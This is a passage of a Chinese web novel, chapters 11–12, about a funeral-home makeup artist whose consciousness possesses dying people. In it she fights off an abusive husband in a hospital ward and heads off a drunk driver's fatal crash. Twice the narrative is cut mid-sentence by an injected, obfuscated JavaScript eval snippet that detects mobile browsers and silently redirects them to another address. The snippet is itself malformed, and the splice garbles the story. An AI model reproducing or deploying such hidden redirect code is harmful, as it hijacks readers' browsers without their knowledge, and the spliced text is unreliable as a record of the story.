“不能锁……” “因为你妈妈会生气?” “嗯……” “反正不管怎么样她都会生气,这种寻常小事,你就不要去考虑她的想法了。” 姜晴下意识想反驳,但是仔细想了一圈,发现温时简说的是事实。 她的心情一时变得十分复杂。 “小小年纪,不要想那么多有的没的,来,笑一个。” 伴随着这个声音,姜晴看到镜子里自己,嘴角向上弯起,露出笑容来。 她第一感觉是陌生。 明明是在照镜子,但那里面的人影,似乎不是她。 她尝试着去模仿。 笑容没有那么灿烂,看起来有些僵硬。 但……并不难看。 “真是个漂亮的小姑娘,好了,我要走了。” “啊……要走了吗?” “别担心,只是暂时离开,我还会来找你的。拜拜,姜晴。” “拜拜……” 脑海里的声音消失了,姜晴有些怅然若失。 之后过了好一会儿,她才想起,自己还没问这位好心的鬼姐姐叫什么名字,甚至没告诉对方,她已经帮忙联系上了她的朋友。 “下次,下次一定不能忘记!” 姜晴对着镜子里的自己说道。 11. 第 11 章 温时简只在姜晴那边待了二十分钟不到的时间。 一方面是因为她俩距离太远了,各在一个省,隔了万水千山。 但最主要的原因,还是在身体原主意识清醒的状态下附身,太耗费精神了。 从入梦状态恢复过来,温时简的脸色相比之前,肉眼可见的苍白了几分。 头有点疼,但不算严重。 她很熟练的坐着不动,闭目养神。 顺便切入[观众]视角,快速翻看了一下她附身期间这附近的情况。 有从旁边路过,好奇看她一眼的。 也有谨慎绕开的。 还有小声交流的。 “这个就是新来的化妆师吧?” “嗯,是她,听说是个纯外行人。昨天今天我们一共接到化妆间里运出来的遗体十多具,我留心看了一下妆面,肯定不是李老师整理的,那就只能是她。虽然看起来还有些粗糙,但她也才学了没两天,能做到这样已经很厉害了!” “那个招聘我看过,待遇真的很好,赶得上入行好几年的化妆师了。不过前段时间那些事情也是真的邪门,每次我从遗体楼那边经过,都提心吊胆的!” “所以才说她厉害啊,今天已经是第四天了吧,她看起来好像一点事都没有的样子……” 听完了一段过去式的悄悄话,温时简状态恢复得差不多。 她起身伸了个懒腰,再活动下手脚,便回了遗体处置楼。 下午只送来了两具遗体,但都是需要用心对待的正经客户。 李如明跟之前一样,放手让温时简自己整理。 但盯得比较紧,要求也严格了很多,偶尔还会亲自上手示范。 一直到临近下班时间,才结束了工作。 温时简照例跟医院那边问了姐姐的情况,之后又关注了一下林梦嘉那件事的后续。 时间一晃便到了晚上。 睡觉前,温时简心里在想,不知道今晚还会不会碰到新的可怜人。 然而当意识在陌生的身体醒来,她很快发现,自己好像才是那个可怜人。 - 空气里充斥着消毒水的味道。 好像有很多人在旁边,但听不清在说些什么。 只觉得吵。 温时简发现情况似乎有点不对劲。 真实的嗅觉和听觉,证明她所处的环境有了变化,已经处于意识附体状态。 但是她居然做不到睁开眼睛。 眼皮像是有千斤重,紧紧合在一起。 这具身体的原主人到底经历了什么?状态又差到了什么程度? 温时简有点担心了,决定先看看到底发生了什么。 意识进入[观众]状态。 通过系统播放的实时画面,温时简看到了‘她’身处的地方,是医院的一间病房里。 这一点通过之前的消毒水味道以及身体情况不明的状态,其实也能猜到。 这间病房里摆了好几张病床,帘子拉了一半,勉强能遮挡一些视线。 但遮不住周围人看热闹的心。 而这个热闹,则是由温时简这次附身的人提供的。 ‘她’正以一种看起来不太雅观的姿势,躺在病床上。 身上衣服有些凌乱,头发也是散乱的。 脸上带着伤,特别是左脸,明显的肿起来了,还能看见残留的掌痕。 病床旁边,站着一个身材还算匀称,但啤酒肚十分明显的男人。 横眉怒目,嘴里时不时蹦出话来,但没一个好词,比陈年的化粪管道还脏。 周围的人用并不算小的声音窃窃私语。 “怎么突然打人了?” “不知道,刚进来的时候还好好的,后来那男的突然就开始骂人,然后就动手了,吓我一跳!” “这是有什么恩怨吗,怎么下手这么重?!” “……喊一下保安吧,女的好像昏过去了,不会出事了吧?!” “这两个人好像是夫妻,会不会是女的偷情被抓了,男的才会这么生气的……” 温时简没有身体原主人的记忆,所以跟周围的人一样,不知道跟旁边这男的是什么关系。 但有一点可以确认,那就是‘她’是被这人打昏迷的。 系统说,她的意识离体之后,会随机附身在将死之人身上。 温时简刚才已经体验过了,这具身体的状态的确不太好。 但就她观察到的情况来看,‘她’身上似乎并没有太明显的外伤。 所以,这具身体即将死亡,是因为被这个男人活活打死? 这里可不是什么无人的阴暗角落! 这里是医院! 大庭广众之下,周围还有这么多人! 温时简直接气笑了。 她退出了[观众]模式,在心中愤怒的驱使下,更加奋力的挣扎醒来。 终于,无边的黑暗里,出现了一点光。 温时简的意识化作一双无形的大手,抓住了这点光,按压之后,拉扯成一条细细的缝隙,再上下撕开。 刚才通过[观众]看到过的场景,真实的映入她的眼中。 温时简彻底的暂时接管了这具身体,疼痛也随之而来。 头隐隐作痛,脸上火辣辣的疼,手脚和身体,也都有痛感传来。 “嘶——” 温时简第一次体验这么剧烈的疼痛,一时有些不适应。 “帮我嘶……喊……喊一下医生……嘶……再打个报警电话,谢谢……” 她觉得当务之急,是先找医生看一下,是不是有什么比较严重的伤势。 她可不想用着别人的身体,‘帮’别人去死。 不过话说回来,她现在对这家医院的安保工作有点……不,是非常的不满! 病人来医院是为了治病的。 结果人自己走着进来躺下,旧疾未愈,却在病房里又添了新伤。 之前的单方面殴打持续了多久温时简不知道,但是从她附身这具身体开始到现在,已经过去了好一会儿时间,医院的保安居然还没来。 这合理吗?! 温时简想着有的没的,忍着剧痛,咬牙尝试翻身爬起来,准备去按床头的呼叫按钮。 虽然她已经向周围的人求助过了,但是说实话,她对这些人其实没抱多少希望。 在某些情况下,温时简更信奉‘求人不如求己’。 突然,一个暴怒的骂声在旁边响起。 “****,刚才是在给我装死是吧,老子今天就***把你打死!” 听着这还算耳熟的声音,温时简心里飙了句脏话,也不想着爬起来了,而是尽可能的抬起手抱住头。 还是那句话,打人不打脸,挨打也同理。 事实证明,她的决策是正确的。 下一秒,男人手上的力道十足十,狠狠打在了她的手臂上。 温时简只觉得一股更为强烈的剧痛袭来。 她倒回了病床上,努力蜷缩起身体。 殴打紧随而来。 浑身都疼。 疼得想死。 温时简在心里将这个打她的狗杂碎千刀万剐,一边咒骂医院的保安怎么还不来。 她在挨打的空隙,努力睁大眼睛,试图在周围寻找,有没有什么可以用的东西。 然后她看到了床头柜上,静静躺着的一把水果刀。 心里已经开始权衡利弊。 这时系统的声音忽然在脑海中响起。 “你的情况似乎不太好。” “是非常的不好!” 温时简纠正了系统的话,接着问道,“……你这个时候开口,我是不是可以理解为,你有办法帮我?” “是的。” “代价是什么?” “不知道。” “不知道?” “是的,不知道。正如你当初决定去小苍山殡仪馆工作,在做出决定的那一刻,你并不知道会为此付出什么。后来你所经历的,执念之音也好,离魂附体也罢,包括现在附体之后遭受的殴打,都可以看作是代价。” “那就先不管代价了,先把眼前这一关过了再说!” 温时简从来都不是白白挨打不还手的人。 反正她的命运,从踏入那个停放了方小雅遗体的化妆间开始,就不再普通。 也不怕再来点什么代价。 “好。祝你好运。” 伴随着系统话音落下,温时简清晰的感觉到,身体里突然涌起一股强大的力量。 虽然身体上的疼痛依旧,但那种无力挣扎的感觉彻底消失了。 拥有力量之后要做的第一件事,当然就是反抗。 顺便检验一下力量的强弱。 - 王建安骂骂咧咧的,对着躺在病床上,蜷缩着身体的女人又打又踹,但仍不觉解气。 此时此刻,他只觉得,心里像是有一把火在烧。 女人毫不反抗,任人欺凌的样子,周围人投来的目光,还有像消毒水味道一样充斥在这间屋子里的窃窃私语声。 每一样,都像是浇了油的干柴,不断助长他心中的火焰。 同时也浇灭了他脑海中本就所剩无几的,名为理智的东西。 他视线余光看见旁边的床头柜上,放着一个超大的保温瓶。 金属材质,一看就知道很有分量。 打在人身上肯定也很痛。 他想也不想,转身伸手去将保温瓶拿了起来。 视线再转回来时,就见原本躺在病床上任他打骂的女人,突然爬了起来。 红肿的脸上,五官近乎扭曲。 “狗艹的杂碎东西,老娘忍你很久了!” 伴随着这句略有些含糊,但咬牙切齿满含恨意与愤怒的咒骂,王建安眼睁睁看着一只穿了白色袜子的脚踹向他肚子。 他的大脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15156035|164937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容量本就一般,失去理智的状态下,更是进一步缩减。 一时之间,根本处理不了太多的信息。 不知道是先惊诧逆来顺受任打任骂的人突然的反抗,还是嘲笑这看起来毫无威胁的一脚。 好在很快,大脑就替他做出了决定。 痛! 难以形容的剧痛! 像是被一头发疯的巨型野猪迎面狠狠冲撞了一样,五脏六腑在这一瞬间,似乎都移位了。 他的身体被踹得几乎飞起来,狠狠撞在旁边的病床上,双脚向上翻起。 那股力道还没卸去,他又在别人的病床上翻了个跟头,最后面朝下,重重砸在医院的地板上。 疼痛反馈给大脑,王建安喉咙里,不受控制的,发出杀猪一般的嚎叫声。 “啊啊啊——” 这惨叫声中,掺杂了周围看热闹人的惊呼。 王建安痛得爬不起来,视线却透过床底的空间,看见那只刚踹过他的,穿着白袜子的脚,踩在了地上,而后走了过来。 “***,你别……别过来!” 愤怒混合着恐惧,两种情绪交织,将他那张本就让人不爽的脸,扭曲得更加的倒胃口。 - 赞美伟大的系统。 同时也要赞美付出了未知代价暂时获取这份力量的自己。 温时简看着自己的杰作,因疼痛而扭曲的脸上,浮现有些渗人的笑容。 身体上的疼痛固然难以忍受,但敌人的哀嚎惨叫,是一剂绝佳的止痛药。 她绕过病床,来到男人旁边。 “刚才打我的时候,不是挺凶的吗,怎么现在躺在地上了?” 一边说话,一脚踹在了男人的腿上。 “我***啊啊啊——”又是一声猪叫。 温时简抓着后颈衣领,把人从地上拎了起来,又改为抓前面的领子。 “你说什么?我没听清。” “啪!” 一耳光扇脸上,声音十分响亮。 “啪!” 又是一耳光。 “怎么不说话了?”温时简问。 话音落下,一道中气十足的吼声,从病房门外传来。 “干什么呢!这里是医院!不准动手打人!” 温时简是侧身站着的,视线余光可以看见门那边的情况。 说话的是姗姗来迟的医院保安。 “我刚才挨打的时候你们没来,现在就不要多管闲事,直接报警,然后等警察来就行了!” “谁要是敢过来掺和,事后我就天天来你们医院闹事,堵着你们领导骂,爬高处跳楼!” “我说到做到,不信你们就试试!” 温时简此刻有的是力气,几个保安根本拦不住她。 但她同时全身都疼,支撑着她的是满腔的愤怒与恨意,还有手底下这个狗杂碎恐惧的眼神和痛苦的哀嚎。 她一点也不想跟无关的人纠缠。 单纯的喊‘别过来’‘不用你们管’之类的话,除了浪费口舌,毫无意义。 只有把话说得足够难听,才能起到作用。 果然,随着她话音落下,几个原本往里冲想要过来拉架的保安,脚下的步伐硬生生停下。 一个个你看看我,我看看你,僵在原地,拿不定主意,不敢动弹。 温时简手上的动作却是一直没停。 男人的两边脸都被她扇肿了,看起来有那么点像猪头了。 但温时简仍不觉解气。 她抓着男人的衣领,曲起膝盖,朝着对方胯、下,狠狠撞去。 “啊啊啊啊啊——” 这一声尖叫,前所未有的凄厉,仿佛源自灵魂深处,用尽了所有的力气。 哀嚎声冲出病房,几乎响彻整个楼层。 病房里原本的人,已经有点不敢看这个热闹了,几乎快退到墙边上。 几个保安也混在了其中。 而门口也很快便有好奇的人循声而来,探头往里面看。 一个,两个……很快把门口围了个水泄不通。 “刚才发生什么事了,怎么有人叫得这么惨?听着都渗人!” “声音是从这间病房传出来的吗?怎么突然没动静了?” “我看人全挤在这儿,应该是吧……” 可惜发出声音的人已经疼得昏死过去了,他们注定看不到热闹了。 “警察办案,都让开,别堵门口了!” “瞎凑什么热闹,都回自己病房去!” 听到门口的声音,温时简稍微松一口气,心想终于来了。 她已经有点撑不住了。 穿着制服的警察拨开人群走了进来。 与此同时,温时简身体倒向旁边的病床。 过程中,她抓着男人的右手,狠狠压在了铁质的床架上。 伴随着骨头折断的声音,意识抽离。 世界归于黑暗与寂静。 12.第 12 章 崔凤蔺受邀来述南区参加朋友的生日聚会。 在酒店吃完饭后,一群人便直接转移到了KTV。 他在一片鬼哭狼嚎声中,坐了一会儿,便以明天还要加班为由,提前离场。 众人把他送到门口,看起来都很舍不得他走,但没人开口挽留。 司机已经把车开到了路边等着。 忽然有一辆警车从旁边路过,本来都开走了,没几秒又倒回来。 车窗摇下,穿着制服的年轻民警探出头来打招呼,“崔哥,真是你啊,我以为看错了呢!” “崔哥怎么有空来这边了?”副驾上的另一个人也凑了过来。 “过来跟朋友聚一聚。” 崔凤蔺从车里拿了两包烟,走到警车边上,通过车窗,给车里的两人一人丢了一包,一边随口问道,“这么晚出警,发生什么事了吗?” 他记性不错,对这两人有点印象,大概是半年前来这边调查一个案子时接触过。 而对方会记得他,并且是熟悉到开车从旁边路过都能从一群人中注意到,原因很简单—— 崔凤蔺出手大方。 当时调查的是一桩影响十分恶劣的命案,出动了大批警力排查线索。 崔凤蔺分到的人手就是水东街道派出所的民警,大家干活是真卖力,再加上运气也不错,最后是他们先发现了线索。 事后他单独请了大家吃饭,还送了点小礼物。 因此给众人留下了点印象。 而崔凤蔺与人交往,一贯遵循‘礼多人不怪’原则。 比如现在。 年轻民警接住了烟,看一眼,顿时嘿嘿笑起来,露出一排白牙,“多谢崔哥!” 果然这一声哥不白喊。 接着简单说了下刚才遇到的事。 “刚才接到报警,说人民医院那边有人打架,我们赶到的时候,当事人之一的女方刚好昏迷。我们跟同病房的其他人了解了一下情况,发现这个事情有点古怪。” “哦?” 时间很晚了,崔凤蔺又喝了点酒,这会儿本来已经有几分困意,听到这个说法,顿时来了兴致。 “怎么个奇怪法?” “旁观的人说,当事人中的男方不知道什么原因,突然动手打人,期间女方曾短暂昏迷,醒来后,男方又继续对她施暴。之后女方很突然的开始反抗,一脚把一个体重至少一百六十斤的壮年男性踹出去好远,然后她还抓着衣领把人从地上拎了起来,左右脸双管齐下,把人给扇成了猪头。” “不仅如此,她还往男的那里踹了一脚,据说惨叫声整个楼层都听到了!” 说到这里,年轻民警似乎感同身受一般的,缩了缩脖子。 “女方最后昏迷的时候,还压到了男方的手,当时我们在做笔录,赶过来的医生说右手骨折了。” “真的不是夸张说法吗?”崔凤蔺有些不信。 年轻民警摇摇头,“不像是瞎说。” “但是这明显很不合理啊,女方既然有反抗的能力,一开始怎么会被欺负成那样?” “不知道,周围人说,她当时像是突然变了一个人一样。我们去保卫科拷贝了当时病房里的监控录像,崔哥你要是感兴趣,回头我传给你。” 崔凤蔺听到这个说法,若有所思的微微眯起眼,“不用搞这么麻烦,我直接跟你们回所里看就成。” 说完,他便拉开了警车后座的门钻了进去。 关上门后,摇下车窗,朝外面的一群人挥手,“都回去玩吧。杨叔你晚点再来接我。” “走吧。” 警车启动,驶离原地。 路边的一群人也跟着散了,勾肩搭背回去继续狂欢。 “两个小警察眼神还挺好使,一群人呢,也能把崔哥给认出来……” “财神爷嘛,哪能认不出来……” “崔哥也是,不管是人是鬼,都客气得很……” “瞧你这话说的,他要是不客气,能跟咱们凑一起?” “也对……” 嬉笑声飘荡在夜晚的街道上,很快被风卷走。 - 温时简以为,闭眼再睁眼,她就已经回到了殡仪馆的宿舍楼里,而窗外天光大亮。 叽叽喳喳的鸟叫声不绝于耳。 但恢复意识后,她闻到了一股汽油味,混合着劣质的香氛,还有烟味。 熏得人想吐。 “呕——” 温时简没忍住,干呕出声。 紧接着便有两个声音,一前一后响起。 “桃子,你怎么了,想吐吗?是不是晕车了?要不要开窗透透气,还是停车去吐一下?我记得你以前不晕车的啊……” 关切的女声,一口气问了一连串的问题。 说话的同时,一手扶着她,一手轻轻拍她的背部。 而另一个声音就不是什么好话了。 “我艹龙晓桃***的别吐我车上啊!大半夜的来接你们,就已经够烦人了,我可不想再去洗车!” 话音落下,便是一脚急刹车。 温时简连同旁边的女生一起,撞到了前面的座椅上。 “嘶——你干嘛刹车?怎么了,让人还是让车?”旁边女生发出一声痛呼,语气不满的问。 接着又关心起温时简来,“桃子,你撞疼没?要不要下车?” 温时简只觉得胃里翻江倒海的,匆匆拉开车门,跑到路边上,弯腰‘哇’一声吐了出来。 同行的女人随后也下车来,拿了一瓶水过来递给她,一边拍她背。 “你漱漱口。” 吐过之后,脑子清醒了一些,之前被忽略的痛感就涌了上来。 头,手,膝盖……身上好些部位,都传来火辣辣的痛感。 路灯光本就不怎么亮,又被茂密的树叶遮挡了大半,根本看不清楚。 温时简干脆扶着树干,迅速切换[观众]模式,查看这具身体的情况。 头发散乱,额头上有一处擦伤,但不算严重,渗出的血珠已经凝结了。 身上的衣服比较薄,有多处破损脏污,对应部位的也都有轻重不一的伤。 再看旁边的女生,也跟她差不多的情况。 温时简感觉这看起来像是摔伤。 她将画面切到路边停着的车上,看了一下后备箱,那里躺着一辆小电瓶车,车身上有明显摔坏的痕迹。 这两人应该就是骑车摔倒了,这会儿正被人送往医院。 温时简能感觉到这具身体受伤不算严重,能走能跳的,所以致命危机是来自哪里呢? “桃子……桃子你还好吧?”旁边女生见她弯腰站着不动,有些担心的问。 温时简退出[观众]模式,含了一口水漱口,吐掉后,才对旁边人说,“没事,只是有点头晕犯恶心……” “龙晓桃你**吐完了没啊?好了就赶紧上车,我**还赶着回去打牌呢!” 男人嘴里叼着半支烟,吞云吐雾的走了过来。 普通的长相,瘦高个,乱糟糟的刺头,皱着眉,脏话不离口,语气也很不耐烦。 温时简不清楚这具身体原主人跟这人的关系,只能忍下骂人的话。 而旁边的人就没她的顾忌了,吼了回去,“郭诚你能不能好好说话?让你来送我去医院,这么不情愿你早点说啊,我又不是不能叫救护车!” “我**哪里没好好说话了?问她吐没吐完有错了?” 男人,也就是郭诚,把抽完的烟屁股随手扔到旁边。 “左红英你***的也是个废物,骑个车都骑不好,自己摔了在这跟我叫,真有本事自己叫救护车啊,大晚上喊我干嘛?!” “郭诚你***有完没完了?!”左红英显然是被骂生气了,也骂起了脏话,几步走过去,猛推了对方一下。 郭诚大概是一时没反应过来,被推得后退几步,好险站住了没摔倒。 昏暗的光线下看不太清楚他的表情,但是声音瞬间提高了一倍,明显是火气上来了。 “我***左红英,跟我动手是吧?真以为老子不会打你?!” “你有本事你就打啊,不打是孙子……” 温时简作为这场的争执的起因,实际上什么都不知道。 ……哦不对,起码她知道了在场三个人的名字。 从恢复意识开始,左红英就一直在关心她,过程中也一直维护她。 显然,这具身体原主人跟左红英的关系不差。 至于郭诚,温时简就没从这人嘴里听到过一句好话。 虽然他大晚上的开车送原主和左红英两人去医院,没有功劳也有苦劳。 但这跟温时简有什么关系? 而且退一万步来说,左红英还是个伤患。 所以温时简立场天然偏向左红英。 看着两人吵了起来,冲突随时可能升级为动手。 温时简已经提高了警惕,走到左红英身边。 互相又是几句指名道姓的谩骂后,两人的怒气都被点燃,理智被暂时抛到了一边,直接动起手来。 温时简在劝架和加入其中两个选项中犹豫了一秒,而后选择两手抓。 小孩子才做选择,大人全都要! “别打了别打了有什么话好好说!”这是在劝左红英,因为不知道原主怎么称呼对方,所以干脆省略了名字。 “郭诚,她身上还有伤,叫你来是把人送去医院,不是把人打进医院……” 温时简嘴上两边都在劝。 但事实上,左红英动手她不管,只拦着郭诚。 当然,也只能是尽力拦着。 毕竟她和郭诚之间,有着力量上的悬殊,身高上的差距。 对方显然是上头了,而她身上又有伤。 好几次温时简都在考虑,要不要再向系统借一下力量,但最后都放弃了。 因为那不是白给的,需要付出代价,而且是未知的代价。 不到万不得已,还是不要去碰的好。 “龙晓桃你***的在这里装什么好人?你***给我让开,这是我跟她之间的事,不用你***掺和!” 三人扭打成一团,离得近了,郭诚开口说话的时候,温时简从他身上,以及呼出的气息里,闻到了烟味和一股酒味。 这一瞬间,温时简大致猜到了身体原主人的致命危机来自哪里—— 酒驾! 现在回想起来,之前在车里的时候,她其实也闻到了酒味。 但她那会儿被混杂的味道所刺激,脑子根本不清醒,接着又很快下车,也就没注意到这一点。 温时简只觉得一股愤怒的情绪冲了上来,她死死盯着郭诚。 “你喝酒了还开车?” 她的声音很冷,且严肃,混在争吵谩骂声中,显得格格不入。 你打我骂的双方暂时停了下来,视线看向她。 “桃子,你……”左红英声音听起来有些迟疑,看向温时简眼神也有些疑惑。 眼前这个人,此时此刻,给她一种陌生的感觉。 郭诚也有这种感觉,大半夜的,龙晓桃的眼神盯得人浑身发毛。 但他并没有想太多,愤怒很快挤掉为数不多的理智,重新占据上风。 “你**谁啊,管我喝没喝酒!求人还挑三拣四的,你**有本事自己上医院去!” 温时简已经不想跟他争执了。 “多谢你送我们到这里,接下来我们自己会打车去医院,你最好也叫个代驾送你回去,或者叫你没喝酒的朋友过来送你。” “有病!”郭诚用看傻X的眼神看着温时简,“你**脑子摔坏了吧!” 左红英也拉了拉温时简的手,“桃子,马上就到医院了,要不算了……” “不行。”温时简一口回绝。 这一段路相对偏僻,他们三人搁这儿又打又骂的好一会儿,也没人经过。 出租车大概率是打不到的,温时简摸出了原主的手机,直接用指纹解锁,而后花了点时间找到打车软件下单。 晚上车也少,等了一会儿才有一辆离这将近两公里的车接单。 旁边两人都看到了她的动作。 郭诚嗤笑一声,囫囵骂了两句,转身走了。 走到了车边上,又回过头来,“左红英,你**走不走?” “不准去!”温时简抓紧了左红英的手。 “桃子……”左红英此刻像极了爹妈吵架后分道扬镳现场的那个孩子,左右为难。 “行,你**以后就跟龙晓桃过去吧!”郭诚又骂了一句,重重摔上车门,开车走了。 左红英这下没得选了,叹一口气。 温时简拉着她,走到路边坐下。 也是没想到,眨眼的功夫,她就又一次体验到了浑身都疼的感觉。 温时简头靠着旁边的电线杆,稍稍缓口气,之后语气略微有些犹豫的问,“你说我要不要打电话举报他酒驾?” 如果她猜测没错,身体原主人原本会死于车祸,那同一辆车上的左红英和郭诚二人,即便不死,情况估计也好不到哪里去。 现在她临时接管了这具身体,又闹了这么一出,原定的轨迹应该是改变了。 但也不好说,或许这就是原本会发生的事,区别只是细节的不同。 郭诚固然讨厌,但就温时简看到的信息而言,没到真的该去死的地步。 退一步来说,即便不管他的死活,也要考虑可能被连累的无辜路人。 因此温时简觉得,保险起见,还是要把郭诚这个祸因给掐灭了。 这么想着,她就摸出了手机,准备打电话举报。 旁边的左红英原本学着她,靠在电线杆的另一侧,听到她的话,惊得险些原地跳起来。 她一副见鬼的表情看着温时简,“桃子你是在开玩笑吧……” 话没说完,就见温时简已经拿出了手机,左红英赶紧抓住她的手,“桃子,你来真的啊?!” 语气十分的震惊。 温时简回望左红英,没说话,只静静看她。 后者似乎并不觉得这件事有多严重,辩解道,“我知道喝酒开车不对,但他又没喝醉,很清醒的,一路送我们到这都开得很稳,如果不是你不舒服耽误了,我们这会儿都快到医院了,而且现在是晚上……” 温时简的手机这时候响了,有电话打进来,是陌生号码。 她滑动接听,按下免提。 “喂。” “喂,美女,我是接你单的司机,能不能跟你商量个事?” “什么事?” “这边路口刚才发生了车祸,看起来好像有点严重,我已经报警了,想停车去看看有没有什么能帮忙的,你那边要是不严重的话,能不能稍微等一会儿?” 温时简定的目的地是医院,司机也知道她肯定是不舒服。 但估计车祸现场比较严重,司机又是个热心肠的,所以才会打来电话询问。 温时简正想应下,忽然脑子里闪过一个念头,“师傅,能问下发生车祸的车辆,是什么车吗?” 她记得,之前打车的时候,司机来的方向,正是郭诚离开的方向。 如果车祸是刚发生的…… “啊?哦,我看看,一辆是黑色幻塔,另一辆是灰色SUV……” 郭诚开的车,正是灰色SUV! 温时简扭头看向旁边的左红英,“郭诚车牌号多少?” 左红英隐隐猜到了什么,整个人有些呆呆的,报了车牌号码。 电话那头的司机愣了两秒,而后也反应过来,“美女,你们……认识车主?” “师傅麻烦你过来带我们过去。” “哦……好,马上来!” 电话挂断,之后过了没两分钟,便有一辆白色车开了过来,在旁边停下。 “尾号6688是吧?” “嗯。”温时简应了一声,拉着左红英上车。 出乎意料,一下子没拉动。 温时简侧头去看,发现后者眼泪已经止不住了。 “没事的,这里离医院很近,救护车一会儿就赶过来了,我们先过去。”她安慰道,其实心里也没底。 左红英像是找到了主心骨,紧紧抓着温时简的手,跟着上了车。 很快一行人便到了车祸现场。 这是一个十字路口,灰色SUV撞在了路边的树上,车窗玻璃碎裂,车头严重变形。 黑色的则撞到了另一边的墙上,看起来也很惨烈。 左红英不用想,肯定先关心郭诚,直接往SUV那边去了。 温时简则是朝着另一边的黑色轿车走去。 车窗玻璃全碎,安全气囊也弹出来了,司机趴在方向盘上,处于昏迷状态。 头上似乎受了伤,有血流下来。 温时简伸手探了鼻息,人还活着。 她稍微松了一口气。 车门被撞变形了,她打开手机手电筒,想看看车里是什么情况。 忽然有车在旁边停下,一个男声传来。 “发生什么事了?” - 崔凤蔺在水东街道派出所看完了从医院拷贝来的监控录像。 从当事双方进入急诊病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15166950|164937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房到双双昏迷,前后不到二十分钟的时间。 就像年轻民警在路边跟他说的一样,男方先动手打人,女方短暂昏迷,醒来后又挨了一顿打,而后像是忍无可忍,突然反击。 “周围人说,她当时像是突然变了一个人一样……” 崔凤蔺一开始听到这句话的时候,根本没放在心上。 但是当他看到视频中,女方昏迷醒来后的情况,顿时就想起了这个。 医院的摄像头是花了大价钱的,视频清晰度很高。 昏迷之前的女方,给人的感觉是那种性格老实懦弱的人,走路有些瘸,跟在男方后面进来。 两人争吵了几句什么,听不太清,男方突然动手打她,她别说还手了,甚至都没还嘴骂几句,只是一味地躲避。 而在昏迷醒来之后,她虽然也挨打了,也在躲,但是很明显的躲得比之前有章法。 像是提前预判了男方会动手,抱头躲避,而后蜷缩身体,始终护着头。 当然,这些都是崔凤蔺在提前知道结果后,才能一眼抠出来的细节。 整个过程中,最明显的异常,发生在男人伸手去拿保温瓶之后。 女方那一瞬间真的就像完全变了一个人一样,一脚几乎把人踹飞,接着追过去扇耳光,踢裤、裆。 一气呵成,不带半点犹豫。 还有骂男方以及威胁保安的几句话,她说话时的神态和语气,跟一开始进到急诊病房时相比,完全判若两人。 而最后昏迷前压断男方手臂那里,因为监控角度问题,被女方身体挡住了一部分,看不完整。 但崔凤蔺有一种感觉,那不是意外,而是故意为之。 他忽然想起了昨天的落水案。 据河边钓鱼的人说,林梦嘉第二次落水后,是自己游回到岸边的。 可她本人完全不会游泳。 这跟今天的事其实没有任何关联,一个发生在翠湖区,一个发生在述南区,当事人之间应该也没什么交集。 但这其中的异常之处,却是让崔凤蔺有些上心。 从派出所出来,他坐上杨叔的车准备回刑侦队所在的万阳区,途中却看见路边出了车祸,于是停下来查看情况。 “发生什么事了?” 一个穿着浅色卫衣的女生正在事故车辆旁边忙碌,似乎在找什么。 听到他的声音,她回过头来看了一眼。 崔凤蔺注意到她的眼神,有些奇怪。 她盯着他看了两秒,而后移开。 “我想看看他伤得重不重,这个车门能不能打开,如果能,一会儿救护车来了,也方便把人抬走。” 崔凤蔺压下心中的疑惑,帮着一起查看车内伤者情况。 前后左右仔细观察一圈后,发现情况不太妙。 “车门变形太严重了,卡住了他的身体。” 一边说话,他尝试伸手去拉车门。 意料之中,卡死了,一动不动。 “我再叫两个人过来,一起试试。” “杨叔,来帮个忙。” 崔凤蔺喊完,问旁边的女生,“那边情况怎么样?” “不知道,我问问。” 接着便听对方也喊了起来,“师傅,那边怎么样?严不严重?不严重的话过来帮个忙!” 司机很快赶了过来,“人昏迷了,叫不醒,在车里面也看不出来严不严重……要帮什么忙?” “试试看能不能拉开这个车门。” “行。” 于是三个男的一起抓着撞变形了的车门往外拉。 结果车子都被拖动了两分,车门却依然纹丝不动。 崔凤蔺已经准备打消防电话了,却听旁边女生开口,“我跟你们一起,再试一次看看。” 他并不觉得多加一个人的力量就能成功,但对方既然说了,那就再试一次,反正也不耽误什么。 崔凤蔺心里这么想着,又跟着试了一次。 却见之前纹丝不动的车门,竟然一点点被拉了出来……不,不是被拉出来,而是发生了新的变形,硬生生脱离了原本的车身框架。 崔凤蔺:“……?” 他甚至还没用上多少力气! 一阵鸣笛声由远及近,救护车闪着灯来了。 警车随后不久也从另一个方向赶到。 在众人齐心协力之下,两辆车里的伤者很快都被抬上了担架。 崔凤蔺正打算离开,忽然听到旁边人小声骂了一句。 “晦气!” 他侧过头去,正好看见对方身体一软,向旁边倒去。 他眼疾手快把人扶住,喊医护人员,“还有一个人晕倒了!” - 一晚上赶了两个现场,温时简再次睁眼,终于回到了殡仪馆宿舍里。 头疼如期而至。 她熟练的闭眼躺尸。 回忆着失去意识前最后看到的那张脸,她忍不住又骂了一句‘晦气’。 虽然不清楚车祸是怎么发生的,但郭诚喝了酒,温时简觉得问题出在他身上的可能性会更高一点。 因此她向临时向系统借了力量,又跟着其他人一起忙前忙后把黑车车主救出来。 就当是给自己以及身体原主人稍微积点德。 人被抬上担架,温时简才看清他的脸。 好家伙,居然是个‘熟人’。 她上一次附身时,就在医院病房里看到过这个人,看热闹就算了,还嘴巴贱,造谣身体原主人是偷情被抓所以被打。 